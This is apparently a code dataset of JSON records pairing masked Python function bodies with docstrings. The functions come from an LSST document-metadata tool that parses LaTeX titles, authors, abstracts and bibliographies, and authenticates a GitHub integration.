{"signature": "def format_abstract(self, format='<STR_LIT>', deparagraph=False, mathjax=False,<EOL>smart=True, extra_args=None):", "body": "if self.abstract is None:<EOL><INDENT>return None<EOL><DEDENT>abstract_latex = self._prep_snippet_for_pandoc(self.abstract)<EOL>output_text = convert_lsstdoc_tex(<EOL>abstract_latex, format,<EOL>deparagraph=deparagraph,<EOL>mathjax=mathjax,<EOL>smart=smart,<EOL>extra_args=extra_args)<EOL>return output_text<EOL>", "docstring": "Get the document abstract in the specified markup format.\n\n        Parameters\n        ----------\n        format : `str`, optional\n            Output format (such as ``'html5'`` or ``'plain'``).\n        deparagraph : `bool`, optional\n            Remove the paragraph tags from single paragraph content.\n        mathjax : `bool`, optional\n            Allow pandoc to use MathJax math markup.\n        smart : `True`, optional\n            Allow pandoc to create \"smart\" unicode punctuation.\n        extra_args : `list`, optional\n            Additional command line flags to pass to Pandoc. See\n            `lsstprojectmeta.pandoc.convert.convert_text`.\n\n        Returns\n        -------\n        output_text : `str`\n            Converted content or `None` if the title is not available in\n            the document.", "id": "f4210:c0:m25"}
{"signature": "def format_authors(self, format='<STR_LIT>', deparagraph=True, mathjax=False,<EOL>smart=True, extra_args=None):", "body": "formatted_authors = []<EOL>for latex_author in self.authors:<EOL><INDENT>formatted_author = convert_lsstdoc_tex(<EOL>latex_author, format,<EOL>deparagraph=deparagraph,<EOL>mathjax=mathjax,<EOL>smart=smart,<EOL>extra_args=extra_args)<EOL>formatted_author = formatted_author.strip()<EOL>formatted_authors.append(formatted_author)<EOL><DEDENT>return formatted_authors<EOL>", "docstring": "Get the document authors in the specified markup format.\n\n        Parameters\n        ----------\n        format : `str`, optional\n            Output format (such as ``'html5'`` or ``'plain'``).\n        deparagraph : `bool`, optional\n            Remove the paragraph tags from single paragraph content.\n        mathjax : `bool`, optional\n            Allow pandoc to use MathJax math markup.\n        smart : `True`, optional\n            Allow pandoc to create \"smart\" unicode punctuation.\n        extra_args : `list`, optional\n            Additional command line flags to pass to Pandoc. See\n            `lsstprojectmeta.pandoc.convert.convert_text`.\n\n        Returns\n        -------\n        output_text : `list` of `str`\n            Sequence of author names in the specified output markup format.", "id": "f4210:c0:m26"}
{"signature": "def _parse_documentclass(self):", "body": "command = LatexCommand(<EOL>'<STR_LIT>',<EOL>{'<STR_LIT:name>': '<STR_LIT>', '<STR_LIT>': False, '<STR_LIT>': '<STR_LIT:[>'},<EOL>{'<STR_LIT:name>': '<STR_LIT>', '<STR_LIT>': True, '<STR_LIT>': '<STR_LIT:{>'})<EOL>try:<EOL><INDENT>parsed = next(command.parse(self._tex))<EOL><DEDENT>except StopIteration:<EOL><INDENT>self._logger.warning('<STR_LIT>')<EOL>self._document_options = []<EOL><DEDENT>try:<EOL><INDENT>content = parsed['<STR_LIT>']<EOL>self._document_options = [opt.strip()<EOL>for opt in content.split('<STR_LIT:U+002C>')]<EOL><DEDENT>except KeyError:<EOL><INDENT>self._logger.warning('<STR_LIT>')<EOL>self._document_options = []<EOL><DEDENT>", "docstring": "Parse documentclass options.\n\n        Sets the the ``_document_options`` attribute.", "id": "f4210:c0:m27"}
{"signature": "def _parse_title(self):", "body": "command = LatexCommand(<EOL>'<STR_LIT:title>',<EOL>{'<STR_LIT:name>': '<STR_LIT>', '<STR_LIT>': False, '<STR_LIT>': '<STR_LIT:[>'},<EOL>{'<STR_LIT:name>': '<STR_LIT>', '<STR_LIT>': True, '<STR_LIT>': '<STR_LIT:{>'})<EOL>try:<EOL><INDENT>parsed = next(command.parse(self._tex))<EOL><DEDENT>except StopIteration:<EOL><INDENT>self._logger.warning('<STR_LIT>')<EOL>self._title = None<EOL>self._short_title = None<EOL><DEDENT>self._title = parsed['<STR_LIT>']<EOL>try:<EOL><INDENT>self._short_title = parsed['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>self._logger.warning('<STR_LIT>')<EOL>self._short_title = None<EOL><DEDENT>", "docstring": "Parse the title from TeX source.\n\n        Sets these attributes:\n\n        - ``_title``\n        - ``_short_title``", "id": "f4210:c0:m28"}
{"signature": "def _parse_doc_ref(self):", "body": "command = LatexCommand(<EOL>'<STR_LIT>',<EOL>{'<STR_LIT:name>': '<STR_LIT>', '<STR_LIT>': True, '<STR_LIT>': '<STR_LIT:{>'})<EOL>try:<EOL><INDENT>parsed = next(command.parse(self._tex))<EOL><DEDENT>except StopIteration:<EOL><INDENT>self._logger.warning('<STR_LIT>')<EOL>self._handle = None<EOL>self._series = None<EOL>self._serial = None<EOL>return<EOL><DEDENT>self._handle = parsed['<STR_LIT>']<EOL>try:<EOL><INDENT>self._series, self._serial = self._handle.split('<STR_LIT:->', <NUM_LIT:1>)<EOL><DEDENT>except ValueError:<EOL><INDENT>self._logger.warning('<STR_LIT>'<EOL>'<STR_LIT>', self._handle)<EOL>self._series = None<EOL>self._serial = None<EOL><DEDENT>", "docstring": "Parse the document handle.\n\n        Sets the ``_series``, ``_serial``, and ``_handle`` attributes.", "id": "f4210:c0:m29"}
{"signature": "def _parse_author(self):", "body": "command = LatexCommand(<EOL>'<STR_LIT>',<EOL>{'<STR_LIT:name>': '<STR_LIT>', '<STR_LIT>': True, '<STR_LIT>': '<STR_LIT:{>'})<EOL>try:<EOL><INDENT>parsed = next(command.parse(self._tex))<EOL><DEDENT>except StopIteration:<EOL><INDENT>self._logger.warning('<STR_LIT>')<EOL>self._authors = []<EOL>return<EOL><DEDENT>try:<EOL><INDENT>content = parsed['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>self._logger.warning('<STR_LIT>')<EOL>self._authors = []<EOL>return<EOL><DEDENT>content = content.replace('<STR_LIT:\\n>', '<STR_LIT:U+0020>')<EOL>content = content.replace('<STR_LIT>', '<STR_LIT:U+0020>')<EOL>content = content.strip()<EOL>authors = []<EOL>for part in content.split('<STR_LIT:U+002C>'):<EOL><INDENT>part = part.strip()<EOL>for split_part in part.split('<STR_LIT>'):<EOL><INDENT>split_part = split_part.strip()<EOL>if len(split_part) > <NUM_LIT:0>:<EOL><INDENT>authors.append(split_part)<EOL><DEDENT><DEDENT><DEDENT>self._authors = authors<EOL>", "docstring": "r\"\"\"Parse the author from TeX source.\n\n        Sets the ``_authors`` attribute.\n\n        Goal is to parse::\n\n           \\author{\n           A.~Author,\n           B.~Author,\n           and\n           C.~Author}\n\n        Into::\n\n           ['A. Author', 'B. Author', 'C. Author']", "id": "f4210:c0:m30"}
{"signature": "def _parse_abstract(self):", "body": "command = LatexCommand(<EOL>'<STR_LIT>',<EOL>{'<STR_LIT:name>': '<STR_LIT>', '<STR_LIT>': True, '<STR_LIT>': '<STR_LIT:{>'})<EOL>try:<EOL><INDENT>parsed = next(command.parse(self._tex))<EOL><DEDENT>except StopIteration:<EOL><INDENT>self._logger.warning('<STR_LIT>')<EOL>self._abstract = None<EOL>return<EOL><DEDENT>try:<EOL><INDENT>content = parsed['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>self._logger.warning('<STR_LIT>')<EOL>self._abstract = None<EOL>return<EOL><DEDENT>content = content.strip()<EOL>self._abstract = content<EOL>", "docstring": "Parse the abstract from the TeX source.\n\n        Sets the ``_abstract`` attribute.", "id": "f4210:c0:m31"}
{"signature": "def _prep_snippet_for_pandoc(self, latex_text):", "body": "replace_cite = CitationLinker(self.bib_db)<EOL>latex_text = replace_cite(latex_text)<EOL>return latex_text<EOL>", "docstring": "Process a LaTeX snippet of content for better transformation\n        with pandoc.\n\n        Currently runs the CitationLinker to convert BibTeX citations to\n        href links.", "id": "f4210:c0:m32"}
{"signature": "def _load_bib_db(self):", "body": "<EOL>command = LatexCommand(<EOL>'<STR_LIT>',<EOL>{'<STR_LIT:name>': '<STR_LIT>', '<STR_LIT>': True, '<STR_LIT>': '<STR_LIT:{>'})<EOL>try:<EOL><INDENT>parsed = next(command.parse(self._tex))<EOL>bib_names = [n.strip() for n in parsed['<STR_LIT>'].split('<STR_LIT:U+002C>')]<EOL><DEDENT>except StopIteration:<EOL><INDENT>self._logger.warning('<STR_LIT>')<EOL>bib_names = []<EOL><DEDENT>custom_bib_names = [n for n in bib_names<EOL>if n not in KNOWN_LSSTTEXMF_BIB_NAMES]<EOL>custom_bibs = []<EOL>for custom_bib_name in custom_bib_names:<EOL><INDENT>custom_bib_path = os.path.join(<EOL>os.path.join(self._root_dir),<EOL>custom_bib_name + '<STR_LIT>'<EOL>)<EOL>if not os.path.exists(custom_bib_path):<EOL><INDENT>self._logger.warning('<STR_LIT>',<EOL>custom_bib_path)<EOL>continue<EOL><DEDENT>with open(custom_bib_path, '<STR_LIT:r>') as file_handle:<EOL><INDENT>custom_bibs.append(file_handle.read())<EOL><DEDENT><DEDENT>if len(custom_bibs) > <NUM_LIT:0>:<EOL><INDENT>custom_bibtex = '<STR_LIT>'.join(custom_bibs)<EOL><DEDENT>else:<EOL><INDENT>custom_bibtex = None<EOL><DEDENT>db = get_bibliography(bibtex=custom_bibtex)<EOL>self._bib_db = db<EOL>", "docstring": "r\"\"\"Load the BibTeX bibliography referenced by the document.\n\n        This method triggered by the `bib_db` attribute and populates the\n        `_bib_db` private attribute.\n\n        The ``\\bibliography`` command is parsed to identify the bibliographies\n        referenced by the document.", "id": "f4210:c0:m33"}
{"signature": "def _parse_revision_date(self):", "body": "doc_datetime = None<EOL>if not self.is_draft:<EOL><INDENT>date_command = LatexCommand(<EOL>'<STR_LIT:date>',<EOL>{'<STR_LIT:name>': '<STR_LIT:content>', '<STR_LIT>': True, '<STR_LIT>': '<STR_LIT:{>'})<EOL>try:<EOL><INDENT>parsed = next(date_command.parse(self._tex))<EOL>command_content = parsed['<STR_LIT:content>'].strip()<EOL><DEDENT>except StopIteration:<EOL><INDENT>command_content = None<EOL>self._logger.warning('<STR_LIT>')<EOL><DEDENT>if command_content is not None and command_content != r'<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>doc_datetime = datetime.datetime.strptime(command_content,<EOL>'<STR_LIT>')<EOL>project_tz = timezone('<STR_LIT>')<EOL>localized_datetime = project_tz.localize(doc_datetime)<EOL>doc_datetime = localized_datetime.astimezone(pytz.utc)<EOL>self._revision_datetime_source = '<STR_LIT>'<EOL><DEDENT>except ValueError:<EOL><INDENT>self._logger.warning('<STR_LIT>'<EOL>'<STR_LIT>',<EOL>command_content)<EOL><DEDENT><DEDENT><DEDENT>if doc_datetime is None:<EOL><INDENT>content_extensions = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>try:<EOL><INDENT>doc_datetime = get_content_commit_date(<EOL>content_extensions,<EOL>root_dir=self._root_dir)<EOL>self._revision_datetime_source = '<STR_LIT>'<EOL><DEDENT>except RuntimeError:<EOL><INDENT>self._logger.warning('<STR_LIT>'<EOL>'<STR_LIT>',<EOL>self._root_dir)<EOL><DEDENT><DEDENT>if doc_datetime is None:<EOL><INDENT>doc_datetime = pytz.utc.localize(datetime.datetime.now())<EOL>self._revision_datetime_source = '<STR_LIT>'<EOL><DEDENT>self._datetime = doc_datetime<EOL>", "docstring": "r\"\"\"Parse the ``\\date`` command, falling back to getting the\n        most recent Git commit date and the current datetime.\n\n        Result is available from the `revision_datetime` attribute.", "id": "f4210:c0:m34"}
{"signature": "def build_jsonld(self, url=None, code_url=None, ci_url=None,<EOL>readme_url=None, license_id=None):", "body": "jsonld = {<EOL>'<STR_LIT>': [<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\"],<EOL>'<STR_LIT>': ['<STR_LIT>', '<STR_LIT>'],<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': self.handle,<EOL>'<STR_LIT:name>': self.plain_title,<EOL>'<STR_LIT:description>': self.plain_abstract,<EOL>'<STR_LIT>': [{'<STR_LIT>': '<STR_LIT>', '<STR_LIT:name>': author_name}<EOL>for author_name in self.plain_authors],<EOL>'<STR_LIT>': self.revision_datetime<EOL>}<EOL>try:<EOL><INDENT>jsonld['<STR_LIT>'] = self.plain_content<EOL>jsonld['<STR_LIT>'] = '<STR_LIT>'  <EOL><DEDENT>except RuntimeError:<EOL><INDENT>self._logger.exception('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>self._logger.warning('<STR_LIT>')<EOL>jsonld['<STR_LIT>'] = self._tex<EOL>jsonld['<STR_LIT>'] = '<STR_LIT>'  <EOL><DEDENT>if url is not None:<EOL><INDENT>jsonld['<STR_LIT>'] = url<EOL>jsonld['<STR_LIT:url>'] = url<EOL><DEDENT>else:<EOL><INDENT>jsonld['<STR_LIT>'] = self.handle<EOL><DEDENT>if code_url is not None:<EOL><INDENT>jsonld['<STR_LIT>'] = code_url<EOL><DEDENT>if ci_url is not None:<EOL><INDENT>jsonld['<STR_LIT>'] = ci_url<EOL><DEDENT>if readme_url is not None:<EOL><INDENT>jsonld['<STR_LIT>'] = readme_url<EOL><DEDENT>if license_id is not None:<EOL><INDENT>jsonld['<STR_LIT>'] = None<EOL><DEDENT>return jsonld<EOL>", "docstring": "Create a JSON-LD representation of this LSST LaTeX document.\n\n        Parameters\n        ----------\n        url : `str`, optional\n            URL where this document is published to the web. Prefer\n            the LSST the Docs URL if possible.\n            Example: ``'https://ldm-151.lsst.io'``.\n        code_url : `str`, optional\n            Path the the document's repository, typically on GitHub.\n            Example: ``'https://github.com/lsst/LDM-151'``.\n        ci_url : `str`, optional\n            Path to the continuous integration service dashboard for this\n            document's repository.\n            Example: ``'https://travis-ci.org/lsst/LDM-151'``.\n        readme_url : `str`, optional\n            URL to the document repository's README file. Example:\n            ``https://raw.githubusercontent.com/lsst/LDM-151/master/README.rst``.\n        license_id : `str`, optional\n            License identifier, if known. The identifier should be from the\n            listing at https://spdx.org/licenses/. Example: ``CC-BY-4.0``.\n\n        Returns\n        -------\n        jsonld : `dict`\n            JSON-LD-formatted dictionary.", "id": "f4210:c0:m35"}
{"signature": "def parse(self, source):", "body": "command_regex = self._make_command_regex(self.name)<EOL>for match in re.finditer(command_regex, source):<EOL><INDENT>self._logger.debug(match)<EOL>start_index = match.start(<NUM_LIT:0>)<EOL>yield self._parse_command(source, start_index)<EOL><DEDENT>", "docstring": "Parse command content from the LaTeX source.\n\n        Parameters\n        ----------\n        source : `str`\n            The full source of the tex document.\n\n        Yields\n        ------\n        parsed_command : `ParsedCommand`\n            Yields parsed commands instances for each occurence of the command\n            in the source.", "id": "f4211:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _make_command_regex(name):<DEDENT>", "body": "return r'<STR_LIT:\\\\>' + name + r'<STR_LIT>'<EOL>", "docstring": "r\"\"\"Given a command name, build a regular expression to detect that\n        command in TeX source.\n\n        The regular expression is designed to discern \"\\title{..}\" from\n        \"\\titlename{..}\". It does this by ensuring that the command is\n        followed by a whitespace character, argument brackets, or a comment\n        character.\n\n        Parameters\n        ----------\n        name : `str`\n            Name of the command (with a backslash prefix).\n\n        Returns\n        -------\n        regex : `str`\n            Regular expression pattern for detecting the command.", "id": "f4211:c0:m2"}
{"signature": "def _parse_command(self, source, start_index):", "body": "parsed_elements = []<EOL>running_index = start_index<EOL>for element in self.elements:<EOL><INDENT>opening_bracket = element['<STR_LIT>']<EOL>closing_bracket = self._brackets[opening_bracket]<EOL>element_start = None<EOL>element_end = None<EOL>for i, c in enumerate(source[running_index:], start=running_index):<EOL><INDENT>if c == element['<STR_LIT>']:<EOL><INDENT>element_start = i<EOL>break<EOL><DEDENT>elif c == '<STR_LIT:\\n>':<EOL><INDENT>if element['<STR_LIT>'] is True:<EOL><INDENT>content = self._parse_whitespace_argument(<EOL>source[running_index:],<EOL>self.name)<EOL>return ParsedCommand(<EOL>self.name,<EOL>[{'<STR_LIT:index>': element['<STR_LIT:index>'],<EOL>'<STR_LIT:name>': element['<STR_LIT:name>'],<EOL>'<STR_LIT:content>': content.strip()}],<EOL>start_index,<EOL>source[start_index:i])<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>if element_start is None and element['<STR_LIT>'] is False:<EOL><INDENT>continue<EOL><DEDENT>elif element_start is None and element['<STR_LIT>'] is True:<EOL><INDENT>message = ('<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>self.name,<EOL>start_index,<EOL>element['<STR_LIT:index>']))<EOL>raise CommandParserError(message)<EOL><DEDENT>balance = <NUM_LIT:1><EOL>for i, c in enumerate(source[element_start + <NUM_LIT:1>:],<EOL>start=element_start + <NUM_LIT:1>):<EOL><INDENT>if c == opening_bracket:<EOL><INDENT>balance += <NUM_LIT:1><EOL><DEDENT>elif c == closing_bracket:<EOL><INDENT>balance -= <NUM_LIT:1><EOL><DEDENT>if balance == <NUM_LIT:0>:<EOL><INDENT>element_end = i<EOL>break<EOL><DEDENT><DEDENT>if balance > <NUM_LIT:0>:<EOL><INDENT>message = ('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>self.name,<EOL>start_index,<EOL>element['<STR_LIT:index>']))<EOL>raise CommandParserError(message)<EOL><DEDENT>element_content = source[element_start + <NUM_LIT:1>:element_end]<EOL>parsed_element = {<EOL>'<STR_LIT:index>': element['<STR_LIT:index>'],<EOL>'<STR_LIT:name>': element['<STR_LIT:name>'],<EOL>'<STR_LIT:content>': element_content.strip()<EOL>}<EOL>parsed_elements.append(parsed_element)<EOL>running_index = element_end + <NUM_LIT:1><EOL><DEDENT>command_source = source[start_index:running_index]<EOL>parsed_command = ParsedCommand(self.name, parsed_elements,<EOL>start_index, command_source)<EOL>return parsed_command<EOL>", "docstring": "Parse a single command.\n\n        Parameters\n        ----------\n        source : `str`\n            The full source of the tex document.\n        start_index : `int`\n            Character index in ``source`` where the command begins.\n\n        Returns\n        -------\n        parsed_command : `ParsedCommand`\n            The parsed command from the source at the given index.", "id": "f4211:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _parse_whitespace_argument(source, name):<DEDENT>", "body": "<EOL>command_pattern = r'<STR_LIT>' + name + r'<STR_LIT>'<EOL>command_match = re.search(command_pattern, source)<EOL>if command_match is not None:<EOL><INDENT>source = source[command_match.end(<NUM_LIT:1>):]<EOL><DEDENT>pattern = r'<STR_LIT>'<EOL>match = re.search(pattern, source)<EOL>if match is None:<EOL><INDENT>message = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>raise CommandParserError(message.format(name))<EOL><DEDENT>content = match.group('<STR_LIT:content>')<EOL>content.strip()<EOL>return content<EOL>", "docstring": "r\"\"\"Attempt to parse a single token on the first line of this source.\n\n        This method is used for parsing whitespace-delimited arguments, like\n        ``\\input file``. The source should ideally contain `` file`` along\n        with a newline character.\n\n        >>> source = 'Line 1\\n' r'\\input test.tex' '\\nLine 2'\n        >>> LatexCommand._parse_whitespace_argument(source, 'input')\n        'test.tex'\n\n        Bracket delimited arguments (``\\input{test.tex}``) are handled in\n        the normal logic of `_parse_command`.", "id": "f4211:c0:m4"}
{"signature": "async def _download_text(url, session):", "body": "logger = logging.getLogger(__name__)<EOL>async with session.get(url) as response:<EOL><INDENT>logger.info('<STR_LIT>', url)<EOL>return await response.text()<EOL><DEDENT>", "docstring": "Asynchronously request a URL and get the encoded text content of the\n    body.\n\n    Parameters\n    ----------\n    url : `str`\n        URL to download.\n    session : `aiohttp.ClientSession`\n        An open aiohttp session.\n\n    Returns\n    -------\n    content : `str`\n        Content downloaded from the URL.", "id": "f4212:m0"}
{"signature": "async def _download_lsst_bibtex(bibtex_names):", "body": "blob_url_template = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>urls = [blob_url_template.format(name=name) for name in bibtex_names]<EOL>tasks = []<EOL>async with ClientSession() as session:<EOL><INDENT>for url in urls:<EOL><INDENT>task = asyncio.ensure_future(_download_text(url, session))<EOL>tasks.append(task)<EOL><DEDENT>return await asyncio.gather(*tasks)<EOL><DEDENT>", "docstring": "Asynchronously download a set of lsst-texmf BibTeX bibliographies from\n    GitHub.\n\n    Parameters\n    ----------\n    bibtex_names : sequence of `str`\n        Names of lsst-texmf BibTeX files to download. For example:\n\n        .. code-block:: python\n\n           ['lsst', 'lsst-dm', 'refs', 'books', 'refs_ads']\n\n    Returns\n    -------\n    bibtexs : `list` of `str`\n        List of BibTeX file content, in the same order as ``bibtex_names``.", "id": "f4212:m1"}
{"signature": "def get_lsst_bibtex(bibtex_filenames=None):", "body": "logger = logging.getLogger(__name__)<EOL>if bibtex_filenames is None:<EOL><INDENT>bibtex_names = KNOWN_LSSTTEXMF_BIB_NAMES<EOL><DEDENT>else:<EOL><INDENT>bibtex_names = []<EOL>for filename in bibtex_filenames:<EOL><INDENT>name = os.path.basename(os.path.splitext(filename)[<NUM_LIT:0>])<EOL>if name not in KNOWN_LSSTTEXMF_BIB_NAMES:<EOL><INDENT>logger.warning('<STR_LIT>',<EOL>name)<EOL>continue<EOL><DEDENT>bibtex_names.append(name)<EOL><DEDENT><DEDENT>uncached_names = [name for name in bibtex_names<EOL>if name not in _LSSTTEXMF_BIB_CACHE]<EOL>if len(uncached_names) > <NUM_LIT:0>:<EOL><INDENT>loop = asyncio.get_event_loop()<EOL>future = asyncio.ensure_future(_download_lsst_bibtex(uncached_names))<EOL>loop.run_until_complete(future)<EOL>for name, text in zip(bibtex_names, future.result()):<EOL><INDENT>_LSSTTEXMF_BIB_CACHE[name] = text<EOL><DEDENT><DEDENT>return {name: _LSSTTEXMF_BIB_CACHE[name] for name in bibtex_names}<EOL>", "docstring": "Get content of lsst-texmf bibliographies.\n\n    BibTeX content is downloaded from GitHub (``master`` branch of\n    https://github.com/lsst/lsst-texmf or retrieved from an in-memory cache.\n\n    Parameters\n    ----------\n    bibtex_filenames : sequence of `str`, optional\n        List of lsst-texmf BibTeX files to retrieve. These can be the filenames\n        of lsst-bibtex files (for example, ``['lsst.bib', 'lsst-dm.bib']``)\n        or names without an extension (``['lsst', 'lsst-dm']``). The default\n        (recommended) is to get *all* lsst-texmf bibliographies:\n\n        .. code-block:: python\n\n           ['lsst', 'lsst-dm', 'refs', 'books', 'refs_ads']\n\n    Returns\n    -------\n    bibtex : `dict`\n        Dictionary with keys that are bibtex file names (such as ``'lsst'``,\n        ``'lsst-dm'``). Values are the corresponding bibtex file content\n        (`str`).", "id": "f4212:m2"}
{"signature": "def get_bibliography(lsst_bib_names=None, bibtex=None):", "body": "bibtex_data = get_lsst_bibtex(bibtex_filenames=lsst_bib_names)<EOL>pybtex_data = [pybtex.database.parse_string(_bibtex, '<STR_LIT>')<EOL>for _bibtex in bibtex_data.values()]<EOL>if bibtex is not None:<EOL><INDENT>pybtex_data.append(pybtex.database.parse_string(bibtex, '<STR_LIT>'))<EOL><DEDENT>bib = pybtex_data[<NUM_LIT:0>]<EOL>if len(pybtex_data) > <NUM_LIT:1>:<EOL><INDENT>for other_bib in pybtex_data[<NUM_LIT:1>:]:<EOL><INDENT>for key, entry in other_bib.entries.items():<EOL><INDENT>bib.add_entry(key, entry)<EOL><DEDENT><DEDENT><DEDENT>return bib<EOL>", "docstring": "Make a pybtex BibliographyData instance from standard lsst-texmf\n    bibliography files and user-supplied bibtex content.\n\n    Parameters\n    ----------\n    lsst_bib_names : sequence of `str`, optional\n        Names of lsst-texmf BibTeX files to include. For example:\n\n        .. code-block:: python\n\n           ['lsst', 'lsst-dm', 'refs', 'books', 'refs_ads']\n\n        Default is `None`, which includes all lsst-texmf bibtex files.\n\n    bibtex : `str`\n        BibTeX source content not included in lsst-texmf. This can be content\n        from a import ``local.bib`` file.\n\n    Returns\n    -------\n    bibliography : `pybtex.database.BibliographyData`\n        A pybtex bibliography database that includes all given sources:\n        lsst-texmf bibliographies and ``bibtex``.", "id": "f4212:m3"}
{"signature": "def get_url_from_entry(entry):", "body": "if '<STR_LIT:url>' in entry.fields:<EOL><INDENT>return entry.fields['<STR_LIT:url>']<EOL><DEDENT>elif entry.type.lower() == '<STR_LIT>':<EOL><INDENT>return '<STR_LIT>' + entry.fields['<STR_LIT>']<EOL><DEDENT>elif '<STR_LIT>' in entry.fields:<EOL><INDENT>return entry.fields['<STR_LIT>']<EOL><DEDENT>elif '<STR_LIT>' in entry.fields:<EOL><INDENT>return '<STR_LIT>' + entry.fields['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>raise NoEntryUrlError()<EOL><DEDENT>", "docstring": "Get a usable URL from a pybtex entry.\n\n    Parameters\n    ----------\n    entry : `pybtex.database.Entry`\n        A pybtex bibliography entry.\n\n    Returns\n    -------\n    url : `str`\n        Best available URL from the ``entry``.\n\n    Raises\n    ------\n    NoEntryUrlError\n        Raised when no URL can be made from the bibliography entry.\n\n    Notes\n    -----\n    The order of priority is:\n\n    1. ``url`` field\n    2. ``ls.st`` URL from the handle for ``@docushare`` entries.\n    3. ``adsurl``\n    4. DOI", "id": "f4212:m4"}
{"signature": "def get_authoryear_from_entry(entry, paren=False):", "body": "def _format_last(person):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return '<STR_LIT:U+0020>'.join([n.strip('<STR_LIT:{}>') for n in person.last_names])<EOL><DEDENT>if len(entry.persons['<STR_LIT>']) > <NUM_LIT:0>:<EOL><INDENT>persons = entry.persons['<STR_LIT>']<EOL><DEDENT>elif len(entry.persons['<STR_LIT>']) > <NUM_LIT:0>:<EOL><INDENT>persons = entry.persons['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>raise AuthorYearError<EOL><DEDENT>try:<EOL><INDENT>year = entry.fields['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>raise AuthorYearError<EOL><DEDENT>if paren and len(persons) == <NUM_LIT:1>:<EOL><INDENT>template = '<STR_LIT>'<EOL>return template.format(author=_format_last(persons[<NUM_LIT:0>]),<EOL>year=year)<EOL><DEDENT>elif not paren and len(persons) == <NUM_LIT:1>:<EOL><INDENT>template = '<STR_LIT>'<EOL>return template.format(author=_format_last(persons[<NUM_LIT:0>]),<EOL>year=year)<EOL><DEDENT>elif paren and len(persons) == <NUM_LIT:2>:<EOL><INDENT>template = '<STR_LIT>'<EOL>return template.format(author1=_format_last(persons[<NUM_LIT:0>]),<EOL>author2=_format_last(persons[<NUM_LIT:1>]),<EOL>year=year)<EOL><DEDENT>elif not paren and len(persons) == <NUM_LIT:2>:<EOL><INDENT>template = '<STR_LIT>'<EOL>return template.format(author1=_format_last(persons[<NUM_LIT:0>]),<EOL>author2=_format_last(persons[<NUM_LIT:1>]),<EOL>year=year)<EOL><DEDENT>elif not paren and len(persons) > <NUM_LIT:2>:<EOL><INDENT>template = '<STR_LIT>'<EOL>return template.format(author=_format_last(persons[<NUM_LIT:0>]),<EOL>year=year)<EOL><DEDENT>elif paren and len(persons) > <NUM_LIT:2>:<EOL><INDENT>template = '<STR_LIT>'<EOL>return template.format(author=_format_last(persons[<NUM_LIT:0>]),<EOL>year=year)<EOL><DEDENT>", "docstring": "Get and format author-year text from a pybtex entry to emulate\n    natbib citations.\n\n    Parameters\n    ----------\n    entry : `pybtex.database.Entry`\n        A pybtex bibliography entry.\n    parens : `bool`, optional\n        Whether to add parentheses around the year. Default is `False`.\n\n    Returns\n    -------\n    authoryear : `str`\n        The author-year citation text.", "id": "f4212:m5"}
{"signature": "def get_installation_token(installation_id, integration_jwt):", "body": "api_root = '<STR_LIT>'<EOL>url = '<STR_LIT>'.format(<EOL>api_root=api_root,<EOL>id_=installation_id)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>'.format(integration_jwt.decode('<STR_LIT:utf-8>')),<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>resp = requests.post(url, headers=headers)<EOL>resp.raise_for_status()<EOL>return resp.json()<EOL>", "docstring": "Create a GitHub token for an integration installation.\n\n    Parameters\n    ----------\n    installation_id : `int`\n        Installation ID. This is available in the URL of the integration's\n        **installation** ID.\n    integration_jwt : `bytes`\n        The integration's JSON Web Token (JWT). You can create this with\n        `create_jwt`.\n\n    Returns\n    -------\n    token_obj : `dict`\n        GitHub token object. Includes the fields:\n\n        - ``token``: the token string itself.\n        - ``expires_at``: date time string when the token expires.\n\n    Example\n    -------\n    The typical workflow for authenticating to an integration installation is:\n\n    .. code-block:: python\n\n       from dochubadapter.github import auth\n       jwt = auth.create_jwt(integration_id, private_key_path)\n       token_obj = auth.get_installation_token(installation_id, jwt)\n       print(token_obj['token'])\n\n    Notes\n    -----\n    See\n    https://developer.github.com/early-access/integrations/authentication/#as-an-installation\n    for more information", "id": "f4213:m0"}
{"signature": "def create_jwt(integration_id, private_key_path):", "body": "integration_id = int(integration_id)<EOL>with open(private_key_path, '<STR_LIT:rb>') as f:<EOL><INDENT>cert_bytes = f.read()<EOL><DEDENT>now = datetime.datetime.now()<EOL>expiration_time = now + datetime.timedelta(minutes=<NUM_LIT:9>)<EOL>payload = {<EOL>'<STR_LIT>': int(now.timestamp()),<EOL>'<STR_LIT>': int(expiration_time.timestamp()),<EOL>'<STR_LIT>': integration_id<EOL>}<EOL>return jwt.encode(payload, cert_bytes, algorithm='<STR_LIT>')<EOL>", "docstring": "Create a JSON Web Token to authenticate a GitHub Integration or\n    installation.\n\n    Parameters\n    ----------\n    integration_id : `int`\n        Integration ID. This is available from the GitHub integration's\n        homepage.\n    private_key_path : `str`\n        Path to the integration's private key (a ``.pem`` file).\n\n    Returns\n    -------\n    jwt : `bytes`\n        JSON Web Token that is good for 9 minutes.\n\n    Notes\n    -----\n    The JWT is encoded with the RS256 algorithm. It includes a payload with\n    fields:\n\n    - ``'iat'``: The current time, as an `int` timestamp.\n    - ``'exp'``: Expiration time, as an `int timestamp. The expiration\n      time is set of 9 minutes in the future (maximum allowance is 10 minutes).\n    - ``'iss'``: The integration ID (`int`).\n\n    For more information, see\n    